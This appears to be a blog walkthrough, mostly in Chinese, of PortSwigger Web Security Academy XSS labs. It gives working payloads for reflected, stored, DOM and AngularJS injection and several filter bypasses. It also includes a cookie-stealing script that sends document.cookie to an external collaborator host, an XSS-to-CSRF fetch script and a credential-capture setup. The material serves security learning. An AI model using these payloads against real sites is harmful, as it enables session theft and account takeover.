Cross-site scripting
Lab: Reflected XSS into HTML context with nothing encoded
This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.
To solve the lab, perform a cross-site scripting attack that calls the alert function.
Payload
1 | <script>alert(1)</script> |
Lab: Stored XSS into HTML context with nothing encoded
This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the
alertfunction when the blog post is viewed.
Open a block entry or post, scroll down to the comment section and type in my payload,and click at the back to blog link. And you can see we called the alert function.
Payload
1 | <script>alert(1)</script> |
Lab: DOM XSS in document.write sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript
document.writefunction, which writes data out to the page. Thedocument.writefunction is called with data fromlocation.search, which you can control using the website URL.To solve this lab, perform a cross-site scripting attack that calls the
alertfunction.
Let’s access the lab,and type in the search line “she11f”,then click the search button.now right click and choose Inspect

In the search bar look for the string “she11f”

You can see the string was placed inside a image source tag, now close the developer tools go back to the search bar and type in the following close string and tag and put in an svg
1 | "> <svg onload=alert(1)> |
OR
1 | " onload=alert(1)> |
Lab: DOM XSS in innerHTML sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an
innerHTMLassignment, which changes the HTML contents of adivelement, using data fromlocation.search.To solve this lab, perform a cross-site scripting attack that calls the
alertfunction.
这题跟上一题略微不同,上一题用的是 document.write. 这题插入dom用的是 innerHTML。**innerHTML和document.writ**的执行时机略有不同
innerHTML:无论页面是否加载完成,都可以调用,且只会修改目标元素的内容,不会影响整个文档结构。
即使页面已经加载完毕(DOM 已生成),调用innerHTML只会替换指定元素的内容,其他部分不受影响。document.write- 如果在页面加载过程中(文档流未关闭时)调用,内容会被正常插入到文档流中,成为页面的一部分。
- 如果在页面加载完成后(文档流已关闭)调用,会清空当前页面的所有内容,重新创建一个新的文档流并写入内容(相当于覆盖整个页面)。
例:页面加载完成后执行document.write("hello"),原页面内容会被全部清除,只显示 “hello”。
所以这里当我们尝试 <script>alert(1)</script> 能看到确实写入DOM结构了,但是并没有执行,

innerHTML:设计用于修改已有 DOM 元素的内容,浏览器会对插入的<script>进行安全限制,避免动态插入的脚本意外执行(防止 XSS 风险扩散)。document.write:模拟页面初始加载时的 HTML 解析流程,完全遵循原始 HTML 的解析规则(包括执行<script>),因此脚本会被正常执行。
所以正是因为这种机制导致直接插入 js 脚本无法直接执行,但是 innerHTML 的安全限制无法阻止其他标签的事件属性中脚本的执行。
payload
1 | <img src=1 onerror=alert(1)> |
Lab: DOM XSS in jQuery anchor href attribute sink using location.search source
This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library’s
$selector function to find an anchor element, and changes itshrefattribute using data fromlocation.search. To solve this lab, make the “back” link alert
document.cookie.
题目描述告诉我们,漏洞点再 feedback 页面,翻译一下就是
这个实验包含一个基于 DOM 的跨站脚本漏洞,存在于提交反馈页面中。它使用 jQuery 库的
$选择器函数查找一个锚点元素(即<a>标签),并利用来自location.search的数据修改该元素的href属性。要解决这个实验,请让 “返回” 链接弹出
document.cookie(即显示当前页面的 Cookie 信息)。
我们来到 feedback 页面,一开始是 feedback?returnPath=/post,我们随便输入一个 she11f 回车后控制台搜一下 she11f
1 | <a id="backLink" href="she11f">Back</a> |
也就是说 returnPath 这个参数直接被写入 href 里面了,所以我们就可以这样构造payload
1 | javascript:alert(document.cookie) |
然后再点击 back 就能触发 js 事件
Lab: DOM XSS in jQuery selector sink using a hashchange event
This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery’s
$()selector function to auto-scroll to a given post, whose title is passed via thelocation.hashproperty. To solve the lab, deliver an exploit to the victim that calls the
print()function in their browser.这个实验在首页存在一个基于 DOM 的跨站脚本漏洞。它使用 jQuery 的 $() 选择器函数来自动滚动到指定的帖子,而该帖子的标题是通过 location.hash 属性传递的。
要解决这个实验,请向受害者发送一个攻击 payload,使其浏览器执行 print () 函数(即触发打印功能)。
说实话没看懂,后面油管看的教程。
题目描述说帖子标题是通过 location.hash 属性传递的,我们问问ai吧
location.hash是 JavaScript 中用于获取或设置当前 URL 中#后面部分的属性,也被称为 “哈希值” 或 “锚点”。
f12看一下控制台源码,全局搜索一下 location.hash
1 | $(window).on('hashchange', function(){ |
有 $ 说明是 jQuery,这段代码绑定了一个 hashchange 监听器,当URL 中 # 后面部分的属性变化时,就会匹配 section.blog-list 区域内的 <h2> 标签 ,我们找一下这些元素

其实就是每篇文章的标题,我们可以试一下在 url 后面拼接 #Awkward Breakups 会车发现直接滚动到 Awkward Breakups 标题位置这里了,我们控制台分别打印一下 decodeURIComponent(window.location.hash.slice(1)) + ')'
1 | "21st Century Dreaming)" |
这边因为 post 作用域是局部变量,所以控制台不好打印,我们直接打印 $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')')
1 | Object { 0: h2, selector: "section.blog-list h2:contains(21st Century Dreaming)", length: 1, prevObject: {…}, context: HTMLDocument https://0a1d00120321917c80bd0301008f001b.web-security-academy.net/#21st%20Century%20Dreaming } |
是一个对象,再打印一下 post.get[0],
1 | <h2> |
所以跳转到标题的原理就是如此。
我们搜索一下 location.hash XSS,可以找到这篇文章 https://bugs.jquery.com/ticket/9521/ ,里面有这样关键的一句话,
“$(location.hash)” expected CSS selector in many case, but this code also can create html element.
这句话的意思是 当 css 选择器找不到 $(location.hash) 中的哈希值(# 后的内容),jQuery 可能会将其解析为 HTML 标签并创建新的 DOM 元素。
也就是我们后面可以传递一个带有时间的 html 元素
1 | #<img src=1> |
可以看到网络请求里返回了404状态码,说明img标签被解析了,只是找不到这个资源

1 | #<img src=1 onerror=alert(1)> |
成功弹窗,但是我们这个hash改变事件要主动改变#后面的值才行,用户肯定是不会自己改变的。我的意思是假如我们把这个 payload发给用户
1 | url/#<img src=1 onerror=alert(1)> |
用户打卡是并不会弹窗的,因为没有改这个 # 后面的值就不会触发 hashchange 事件,所以我们要主动修改 src,找到一个方法首先加载 普通的 url,然后加载完url之后,我们把payload插入 url中。
我们可以使用 iframe 标签
1 | <iframe src="https://0a1d00120321917c80bd0301008f001b.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print()>'" > |
如此,可以在src加载时修改hash的值,当然也可以加上hidden属性,这样用户看不到就更hacker了
1 | <iframe src="https://0a1d00120321917c80bd0301008f001b.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print()>'" hidden="hidden"> |
我们把这个挂在服务器上,发给用户就行了

Lab: Reflected XSS into attribute with angle brackets HTML-encoded
This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.
这个实验在博客搜索功能中存在一个反射型跨站脚本漏洞,其中尖括号会被 HTML 编码。要解决这个实验,请实施一次跨站脚本攻击,注入一个属性并调用 alert 函数。
我们继续输入 she11f 然后全局搜索一下,发现写进了 input 标签的 value 属性里面

因为尖括号会被 HTML 编码,所以我们可以闭合 value 属性,然后绑定一个事件触发它来实现 alert 函数的调用,可以查询 xss 速查表
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet,找到
1 | <xss onfocus=alert(1) autofocus tabindex=1> |
payload
1 | "onfocus=alert(1) autofocus " |
Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded
This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.
这个实验在评论功能中存在一个存储型跨站脚本漏洞。要解决这个实验,请提交一条评论,使得当点击评论的作者名称时,会调用 alert 函数。
看题目描述和题目名,应该是要给 href 属性调用 js 伪协议触发 alert 事件了。
根据题目描述我们在帖子评论区填入 she11f 看一看,记得是 website 那里填入才是 a 标签
1 | <a id="author" href="she11f">she11f</a> |
Payload
1 | javascript:alert(1) |
Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the
alertfunction.此实验包含一个反射型跨站脚本漏洞,该漏洞存在于搜索查询跟踪功能中,其中尖括号被编码。反射发生在 JavaScript 字符串内部。要解决此实验,请执行一次跨站脚本攻击,突破 JavaScript 字符串的限制并调用 alert 函数。
依旧输入一个 she11f ,全局搜索
1 | var searchTerms = 'she11f'; |
在一段 javasript 内部发现了我们的字符串,很明显了,我们得闭合单引号写入 js 代码。
1 | she11f'; alert(1); /* |
还有就是 js 是动态语言,我们可以利用字符串拼接来实现
1 | '+alert(2)+' |
也可以,-和+是一个道理
1 | '-alert(1)-' |
Lab: DOM XSS in document.write sink using source location.search inside a select element
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript
document.writefunction, which writes data out to the page. Thedocument.writefunction is called with data fromlocation.searchwhich you can control using the website URL. The data is enclosed within a select element. To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the
alertfunction.此实验室包含库存查询功能中的一个基于 DOM 的跨站点脚本漏洞。该漏洞利用 JavaScript 的 document.write 函数将数据写入页面。document.write 函数会使用 location.search 中的数据进行调用,您可以使用网站 URL 进行控制。这些数据包含在 select 元素中。 为了解决这个实验,执行跨站点脚本攻击,突破选择元素并调用警报函数。
打开是一个仓库库存查询系统,点进第一个注意到有一个 select 选择器,选择地区就能查询库存,我们注意到该位置有这么一段 javascript 代码
1 |
|
根据location.search的storeId字段来创建option,location.search 是 JavaScript 中用于获取当前 URL 中查询字符串(即 ? 后面的部分)的属性,返回值包含 ?及其后面的参数,所以我们打印一下 url+?productId=1&storeId=she11f,因为和storeId有关,所以我们就在后面随便加一个storeId=she11f。
1 | window.location.search |

确实用 document.write 写了一个 option 标签进去,那就很好了。
payload:
1 | productId=1&storeId=</select><img src=1 onerror=alert(1)> |
Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the
ng-appattribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded. To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the
alertfunction.该实验包含搜索功能中 AngularJS 表达式中基于 DOM 的跨站点脚本漏洞。 AngularJS 是一个流行的 JavaScript 库,它会扫描包含 ng-app 属性(也称为 AngularJS 指令)的 HTML 节点的内容。将指令添加到 HTML 代码中后,您可以执行双花括号内的 JavaScript 表达式。这种技术在对尖括号进行编码时非常有用。 为了解决这个实验问题,执行跨站点脚本攻击,执行 AngularJS 表达式并调用警报函数。
拿到题还是很懵逼啊,只搜到了可以用类似 vue 一样的插值语法 2,也确实解析了,但是试了一下直接插入 alert 还是不行,后面才知道 Angularjs 对这类危险操作做了处理不会解析,直接看了一下 payload 给的是 {{$on.constructor('alert(1)')()}},但是这个 payload 怎么来的就不得而知了,所以我们还是从这个 Angularjs 开始研究吧
题目的Angularjs是1.7.7版本,我们让豆包写个例子吧
1 | <!DOCTYPE html> |

在 AngularJS(1.x)中,$scope 是一个核心概念,它是视图(View)和控制器(Controller)之间的桥梁,用于在两者之间传递数据和方法。简单来说,$scope 就像一个 “数据容器”,控制器可以往里面存放数据或函数,视图则可以通过特定语法访问这些内容。所以我们在作用域中定义name变量可在视图中通过访问。
我们再插入一下 payload
1 | {{$on.constructor('alert(1)')()}} |
也是直接弹窗了,这个 $on,是 AngularJS 特有的,其实很多框架都有这种带 $ 符号作为前缀的方法名,说明这是某个框架自带的的方法,在 AngularJS 中,$on 是 $scope 对象上的一个方法,用于监听当前作用域上的事件(通常是自定义事件)
那我想在控制台看 $on.constructor 该怎么办,有一种办法可以访问,即使用 angular.element() 方法
这是 AngularJS 提供的一个核心方法,用于将原生 DOM 元素(或 HTML 字符串)包装成 AngularJS 特有的元素对象(类似 jQuery 对象的 “增强版” DOM 元素)。
被**angular.element()**包装好的DOM元素就能自带 scope() 方法了 ,就可以获取以获取该元素所在的作用域对象。$scope 是作用域对象的引用变量,所以是一个玩意。
我们来控制台走一遍上面的操作绑定一个<h1 id="h1">{{name}}</h1>并调用一下scope方法看一下

翻一会这个 scope,最后在<prototype>下的<prototype> 找到了$on function,但是继续翻没有翻到 constructor 啊,根据js原型链调用的特性,我们继续翻 $on 里面的 <prototype> ,接着又翻到了 $on 下的 <prototype> 里的 constructor
去 MDN 翻一下这个 constructor 是什么

constructor 是对象实例上的一个属性,它存储的是一个 “引用”(即指针),指向当初创建这个对象的构造函数本身,而不是函数的名字字符串。
在 JavaScript 中,所有函数本身都是 Function 构造函数的实例。因此,一个普通函数的默认 constructor(构造函数)是 Function。
那这个 Function 又是什么呢
Function是 JavaScript 中用于创建函数对象的原生构造函数,是所有函数的 “元类型”。它提供了动态创建函数的能力
使用方法就是
| 参数个数 | 解析方式 | 等价的函数定义 |
|---|---|---|
| 0 个 | 无参数,空函数体 | function () {} |
| 1 个 | 参数为函数体,无参数 | function () { 函数体 } |
| n 个(n ≥ 2) | 前 n-1 个为形参,最后 1 个为函数体 | function(形参1, 形参2, ...) { 函数体 } |
比如
1 | Function("console.log('hello world')")() |
成功打印,再试试 constructor
1 | let test = function test(){} |
也能成功打印,那我们再看看 $on.constructor

正是原生构造函数 Function,所以 paylaod
1 | {{$on.constructor('alert(1)')()}} |
可能有人问为什么不直接用,{{Function("alert('hello world')")()}},用了之后就会发现不起作用,其实就像开头一样为什么不直接 alert 弹,还是因为 Angularjs 的安全特性,所以我们才要利用 Angularjs 允许范围内访问的方法或者属性来构造攻击手法。知道原理了我们就能多试试其他方法了
1 | {{$eval.constructor('alert(1)')()}} |
ps:我对控制台这两个有点疑问,不知道究竟看哪个
1 | prototype: Object {} |
问了豆包说是
prototype: Object { … }:是构造函数的「原型对象」,用于定义实例的继承内容,本质是对象,定义该构造函数创建的「实例对象」会继承的属性和方法。<prototype>: function ():是当前对象的「内部原型」,指向原型链上层的一个函数对象(通常是Function.prototype或其他构造函数的原型),用于实现继承,构成原型链,对象通过它继承上层对象的属性和方法。
所以说是 function () 标记的 <prototype> 是一个对象可以沿着原型链调用的函数和属性,Object { … }标记的prototype,举例来说就是当 $on 被当作构造函数使用时,可以被继承的对象,不过 $on 通常不会被当作构造函数使用(不会用 new $on() 去创建实例)。
所以我们这里调用函数的话只看 <prototype>: function () 就行了
Lab: Reflected DOM XSS
This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.
To solve this lab, create an injection that calls the
alert()function.这个实验展示了一个反射型 DOM 漏洞。当服务器端应用处理请求中的数据并将该数据回显到响应中时,就可能出现反射型 DOM 漏洞。随后,页面上的脚本会以不安全的方式处理这些被反射的数据,最终将其写入危险的 “接收器”(指可能执行恶意代码的 DOM 操作接口)。
要解决这个实验,请构造一个能调用 alert () 函数的注入内容。
翻一下js,发现查询功能处很有意思
1 | eval('var searchResultsObj = ' + this.responseText); |

比如我们搜一个 she11f , **this.responseText **返回如下
{“results”:[],”searchTerm”:”she11f”}
可以本地搭建一个环境模拟一下,创建 index.html
1 |
|
因为 eval 会把传入的字符串当 js 代码执行,所以同级目录创建 data.json
1 | { |
这里语法爆红没关系,反正最后进入都是字符串。我们 php 在本地 8000 端口开启一个服务
1 | php -S localhost:8000 |
然后浏览器访问,发现成功弹窗了。本地是攻击成功了,那怎么打这个实验呢,启动 BP,看一下这个search包
可以看到因为我们这不是本地模拟,前端传递 she11f-alert(1) (之所以用➖号是因为➕号要url编码,不然浏览器会以为是空格,而减号其实和连字符是长一样的,浏览器以为是连字符就不会url编码),后端给这个值传递到 json 里面的时候就自动加上双引号了,所以我们还是要 bypass 一下。

1 | she11f"-alert(1) |
双引号被转义了,那我们再加一个转义符号
1 | she11f\"-alert(1) |

成功了,json 以为 前面的转义符用来转义后面的反斜杠,双引号成功逃逸并闭合前面。当然还没有结束,这个 json 语法结构已经被我们颇坏了,它都不能自动对齐格式了,我们再后面补上一个大括号闭合 json,然后注释符号注释后面的 "}
1 | she11f\"-alert(1)}// |

payload 拿去搜索,成功弹窗,我们可以打个断点看看
先步入 eval 看看究竟传了个什么东西

1 | var searchResultsObj = {"results":[],"searchTerm":"she11f\\"-alert(1)}//"} |
那要怎么修复呢,其实很简单,就不要用 eval,用 json.parse 解析
JSON 与 JavaScript 值的差异:JavaScript 除了支持上述所有类型外,还允许其他值,例如:
- 函数(function)
- 日期(Date)
- 未定义(undefined)
但这些在 JSON 中都是不被允许的。
json 不接收函数,所以控制台直接就报错了。
Lab: Stored DOM XSS
This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the
alert()function.
这个实验是基于 存储的DOM型 XSS,根据 js 文件可以得出数据流向
评论 => 存储到数据库 => 加载评论 => 从数据库取出数据经过 JS 代码 innerHTML 插入评论到前端页面。
我们简单设置作者为
1 | <script>alert()</script> |
回到评论区发现结束的标签消失了,说明这是成功解析了,打个断点看一下发生了什么,发现
1 | escapeHTML(comment.author) 返回 "<script>alert()</script>" |
说明只是替换了第一组尖括号
1 | replace(pattern, replacement) |

修复也很简单,正则语法全局匹配,或者换成 replaceAll
1 | function escapeHTML(html) { |
但是这种方法还是治标不治本,我们不应该让前端渲染最后这一个环节来作为安全防御。我们注意到当数据流向数据库是是完完整整存储了这些 HTML 标签语法的,我们应该在后端层面过滤删除这些特殊符号再存在数据库里面

所以最后的 payload
1 | <><img src=1 onerror=alert(1)> |
Lab: Reflected XSS into HTML context with most tags and attributes blocked
This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.
To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the
print()function.该实验室在搜索功能中包含一个反射型 XSS 漏洞,但使用 Web 应用程序防火墙 (WAF) 来防御常见的 XSS 向量。 为了解决实验问题,执行绕过 WAF 并调用 print() 函数的跨站点脚本攻击。
这道题在反射 XSS 地基础上加了 waf,我们爆破一下 tag,发现有 body 可以用。属性也是加了 waf,也爆破一下。到这里我就卡住了,因为我找的属性都是不能直接发给用户弹窗,都得用户操作一下但这样的话系统是不认得,比如说
1 | <body onbeforeinput=alert(1)> |
这个得在用户输入的时候才能触发,显然达不到点击即上线的要求。我就想找个类似 onerror,onload 这样的属性,但是始终没找到,看 WP 才发现是方向错了。
我们可以利用自己的服务器,利用 iframe 标签,将漏洞页面渲染到我们的服务器上,在 iframe 在我们的服务器上加载的同时,修改我们服务器上 iframe 的尺寸,从而使得漏洞页面尺寸被修改触发 resize 属性
1 | <iframe src="https://0ada003a0307c7ca807c3a7f00f30010.web-security-academy.net/?search=<body onresize=print() >" onload=this.style.width='700px'> |
在我们的服务器上可以看到,因为 iframe 嵌套了靶场的 body (iframe 是 靶场的父节点), 所以修改 iframe 大小,也会修改漏洞页面的大小。

Lab: Reflected XSS into HTML context with all tags blocked except custom ones
This lab blocks all HTML tags except custom ones.
To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts
document.cookie.
这道题把所有标签都 ban 了,但是属性都给了,我们可以用自定义标签,比如我们试一下
1 | <xss onclick=alert()> |
成功触发,但是题目要求我们 automatically alerts ,我一看简单啊,直接按照上一题的做法不就行啦,只要把 body 改成xss,嘿嘿

密码的拒绝连接,问问 AI 怎么回事

好吧,只能想别的方法了。看了眼答案,用的是 onfocus 这个事件
1 | <xss id=1 onfocus=alert() tabindex=1> |
id 是 HTML 标签的全局属性,作用是给当前元素分配一个唯一的名称,相当于元素的 “身份证号”—— 在同一个 HTML 页面中,id 的值不能重复,浏览器通过 id 可以快速定位到指定元素。
tabindex 全局属性 指示其元素是否可以聚焦,以及它是否/在何处参与顺序键盘导航(通常使用Tab键,因此得名)。它有什么作用呢?
默认情况下,只有表单元素(如 <input>)、链接(<a>)等少数元素能通过鼠标点击或键盘 Tab 键获得 “焦点”(聚焦后元素会有特殊状态,比如输入框的光标、链接的边框);而 <div>、自定义标签(如 <xss>)等默认无法被聚焦。聚焦的顺序:当按 Tab 键切换焦点时,浏览器会按照 tabindex 的数值大小顺序(从小到大)跳转,数值越小,优先级越高(tabindex="1" 会比 tabindex="2" 先被聚焦)。如果 tabindex 设为 负数(如 tabindex="-1"):元素可聚焦,但不会出现在 Tab 键的切换顺序中(只能通过代码或锚点触发聚焦);如果 tabindex 设为 0:元素可聚焦,且按 Tab 键时会跟随页面默认顺序(排在所有正数值之后);
比如做个实验
1 | <input id="1" tabindex="3">区块1</input> |
不断按下 tab 键我们可以发现焦点聚焦的顺序是 2=>3=>1
再看一眼我们的 payload <xss id=1 onfocus=alert() tabindex=1>,因为我们的自定义的标签 xss 肯定是没有焦点状态的,所以加上了 tabindex=1,所以我们的 xss 标签已经有焦点状态了,那该如何触发聚焦呢?
答案就是用到我们之前学过的锚点了,URL 中的 # 后面的部分称为 “锚点(Anchor)”,之前我们用 location.hash 可以获得这个值,这个锚点还有一个属性
在页面加载完成后,自动将页面滚动到 “id 与锚点值匹配” 的元素位置,并让该元素获得焦点(前提是元素支持聚焦)。
所以我们打完 payload 之后,还要手动在 url 后面加上锚点
1 | ?search=<xss id=1 onfocus=alert() tabindex=1>#1 |
Ok,那现在怎么用我们自己的服务器来攻击呢?因为加了保护策略,所以我们可以在服务器上构建一个 js 跳转来实现
1 | <script> |
Lab: Reflected XSS with some SVG markup allowed
This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.
To solve the lab, perform a cross-site scripting attack that calls the alert() function.
本实验存在一个简单的反射型跨站脚本(XSS)漏洞。该网站会拦截常见标签,但遗漏了部分 SVG 标签及事件。
爆破得到了可用的标签,animatetransform 和 svg 我直接去速查表找的 payload
1 | <svg><animatetransform onbegin=alert(1) attributeName=transform> |
精简一下
1 | <svg><animatetransform onbegin=alert(1)> |

其实 onbegin 事件也能爆破出来,就是动画加载的时候触发
Lab: Reflected XSS in canonical link tag
This lab reflects user input in a canonical link tag and escapes angle brackets.
To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the
alertfunction. To assist with your exploit, you can assume that the simulated user will press the following key combinations:
-
ALT+SHIFT+X-
CTRL+ALT+X-
Alt+X Please note that the intended solution to this lab is only possible in Chrome.
这个靶场讲的就是怎么触发不可见的HTML标签,因为由于元素不可见,典型的 JavaScript 事件(如 onmouseover 和 onfocus)无法触发,参考这篇文章,https://portswigger.net/research/xss-in-hidden-input-fields。
比如说
1 | <input type="hidden" accesskey="X" onclick="alert(1)"> |
HTMLElement.accessKey属性用于设置用户可以通过按键快速跳转到指定元素的快捷键。
在 Firefox Windows/Linux 上,组合键是 ALT+SHIFT+X,在 MAC 上是 CTRL+ALT(其实就是option)+X,按下这个就能触发 onclick 事件
或者说
1 | <link rel="canonical" accesskey="X" onclick="alert(1)" /> |
<link rel="canonical">是 HTML 中一个用于指定网页规范 URL(标准链接)的标签,主要用于告诉搜索引擎 “当前页面的首选版本”,解决因内容相同或高度相似而导致的 “重复内容” 问题。合理使用canonical标签有助于优化网站的 SEO 表现,避免重复内容对搜索排名的负面影响。
同样这种 link 标签在 head 标签里面也是元素不可见的,这道题在主页 url 后加入参数会注入到 link 标签的 href 属性里面
1 | <link rel="canonical" href="https://0af0007b03cae94580cd035a009600c0.web-security-academy.net/?aaa"> |
我们利用单引号闭合(双引号貌似被转义了),然后系统会模拟按键触发
Payload
1 | she11f'accesskey='x'onclick='alert(123) |
Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.
To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the
alertfunction.
这题就是用户输入被嵌入到 JavaScript 变量中
1 | var searchTerms = 'she11f'; |
没有对输入的尖括号转义,我们知道浏览器加载网页时,并非直接执行代码,而是遵循 “先 HTML 解析 → 后 JavaScript 解析” 的固定流程,浏览器先扫描整个 HTML 文档,目的是 “拆解页面结构”—— 比如识别出<div>、<input>等标签,以及 <script> 标签包裹的 “JavaScript 代码块”。此时浏览器不关心<script>内部的 JS 语法是否正确,只需要明确:“从<script>开始到</script>结束的部分,是需要后续执行的 JS 代码”。当 HTML 解析完成,浏览器才会逐个处理之前识别出的 “JS 代码块”—— 对每个<script>内的内容进行语法分析,若语法无致命错误则执行,有错误则终止该代码块的执行(但不影响其他代码块)。
所以我们直接闭合 Script 代码块。
paylaod
1 | </script><img src=1 onerror=alert()> |
Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.
To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the
alertfunction.
和上一题的区别是,这次把尖括号HTML编码了,单引号被转义了,但是没有转义反斜杠,所以我们可以转义反斜杠逃逸
1 | \'-alert();// |

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the
alertfunction when the comment author name is clicked.
评论区网站位置输入正常网址,控制台看一下
1 | onclick="var tracker={track(){}};tracker.track('http://1.com');" |
正常情况我们都是想着闭合单引号逃逸,但是单引号会被转义,但是我们可以 HTML 编码单引号来进行绕过
我们之前提到过浏览器加载网页时,并非直接执行代码,而是遵循 “先 HTML 解析 → 后 JavaScript 解析” 的固定流程。
我们先来看一下 HTML编码防御标签注入的原理(发生在最开始的 HTML 解析阶段):
当网站对尖括号做了 HTML 编码后,攻击者注入的代码会变成
1 | <img src=1 onerror=alert()>(<是<的 HTML 实体,>是>的 HTML 实体): |
- 浏览器遇到 < 和 >,会按照 HTML 实体规则,将其解码为 “普通文本字符”
<和>—— 注意!此时的<和>已经失去了 “界定 HTML 标签” 的语法意义,只是单纯的文本符号。 - 解析完成后,页面中不会创建任何
<img>标签,只会显示一段普通文本<img src=1 onerror=alert()>;这段文本只是视觉上的字符,不会被浏览器当作标签或 JS 代码执行,攻击被阻断。
当 XSS 上下文是引用标签属性内的一些现有 JavaScript(例如事件处理程序)时,可以利用 HTML 编码来绕过一些输入过滤器。 由于浏览器会 HTML 解码 onclick属性,在 JavaScript 被解释之前,实体被解码为引号,成为字符串分隔符,因此攻击成功。所以当我们注入 '(单引号的HTML编码)的时候,在 HTML 解析完毕之后被还原成了字符串的 ‘ ,而 JS 执行阶段会把单引号当作字符串语法,反而助力攻击。
我们可以本地实验一下
1 | <button id="setBtn">设置</button> |
可以看到字符串单引号确实会闭合代码里的单引号

所以XSS 防御的核心是 “针对攻击依赖的上下文选择正确的编码 / 转义方式”,HTML 上下文和 JS上下文 执行环境是不一样的。
1 | payload: |
1 | payload: |
Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the
alertfunction inside the template string.
简单搜索一下
1 | var message = `0 search results for 'she11f'`; |
原来是模版字符串
我们可以利用这个性质插入表达式
模板字面量还可以包含占位符——一种由美元符号和大括号分隔的嵌入式表达式:
${expression}。字符串和占位符被传递给一个函数(要么是默认函数,要么是自定义函数)
说明可以在 ``` 内部插入 ${},${} 里面可以塞 JS 代码,会自动执行
paylaod
1 | ${alert()} |
Lab: Exploiting cross-site scripting to steal cookies
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.
用户会不断访问评论区,我们要窃取cookie的话,BP开一个DNS服务器,然后评论区发送cookie上去就行了。
1 | <script>location="http://i6pm28xcfy8i31gr9nuau0ahj8pzdq1f.oastify.com?cookie="+document.cookie</script> |
当然这是最常规的方法,特别讲一下还有一种方法就是利用 XSS 执行 CSRF 攻击,我们让用户自己把 cookie 发在评论区,当然这种方法不太隐蔽,因为它会公开 Cookie,还会泄露攻击的证据。CSRF 令牌对 XSS 无效,因为 XSS 允许攻击者直接从响应中读取令牌值。
我们先抓个包
1 | POST /post/comment HTTP/1.1 |
其他参数见名就知道意思了,就是这个csrf参数,根据修改应该是一种令牌,用户登陆就分配一个,如果发评论的 csrf 不匹配的话就无法发布评论,我们可以在前端找到这个值
1 | <input required="" type="hidden" name="csrf" value="EUV55Kf9RW9OiO5slKFwg4ZSiqi3etzM"> |
因为这个站点有 XSS 漏洞,所以我们可以直接 js 获取这个 input 元素里的 csrf 值然后来让受害者自动发评论
1 | document.getElementsByName("csrf")[0].value |
现在就是用 js 让用户发评论了
1 | fetch('https://0add00fe0453e512818be801005d0073.web-security-academy.net/post/comment', { |
因为还是要在前端执行,最后还记得加上 <script> 标签。
可是报错了
1 | Uncaught TypeError: can't access property "value", document.getElementsByName(...)[0] is undefined |
为什么会未定义呢,明明控制台能打印,虽然我们说过网页先 HTML 解析 → 后 JavaScript 解析,但是HTML 从上到下顺序解析,遇到 <script> 时会暂停 HTML 解析,优先执行 JavaScript 代码,执行完后再继续解析后续 HTML,我们这段插入的js代码,在input标签之上自然就先解析也就找不到调用的变量了。
1 | <script> |
受害者成功评论自己的 cookie

Lab: Exploiting cross-site scripting to capture passwords
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.
这个实验让我们利用 XSS 钓鱼来获取用户的密码,会模拟受害者自动填充账号密码。所以我们可以在评论区放两个input输入框
